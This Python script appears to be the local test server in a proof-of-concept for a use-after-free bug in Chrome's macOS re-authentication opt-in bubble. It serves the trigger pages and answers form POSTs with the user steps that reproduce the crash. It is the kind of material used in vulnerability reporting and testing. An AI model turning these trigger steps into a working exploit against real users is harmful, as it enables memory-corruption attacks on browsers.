#!/usr/bin/env python3
"""Static server for the macOS Mandatory-Reauth Opt-In UAF POC.

Serves poc.html (opener) and checkout.html (popup). Handles the form POST so
the popup navigates after submission, which is when Chrome offers the
mandatory-reauth opt-in bubble.
"""
import http.server
import socketserver

PORT = 8080

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):
        # Consume the body and respond with a minimal page so the popup stays
        # alive long enough for the opt-in bubble to anchor to it.
        length = int(self.headers.get("Content-Length", "0") or 0)
        self.rfile.read(length)
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.end_headers()
        self.wfile.write(
            b"<!DOCTYPE html><title>Thanks</title>"
            b"<body><h2>Order received</h2>"
            b"<p>When Chrome shows the <b>Always verify it's you</b> bubble, "
            b"click <b>Yes</b>. Leave the macOS password dialog open.</p>"
        )

    def end_headers(self):
        self.send_header("Cache-Control", "no-store")
        super().end_headers()


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
        print(f"serving on http://127.0.0.1:{PORT}/poc.html")
        httpd.serve_forever()
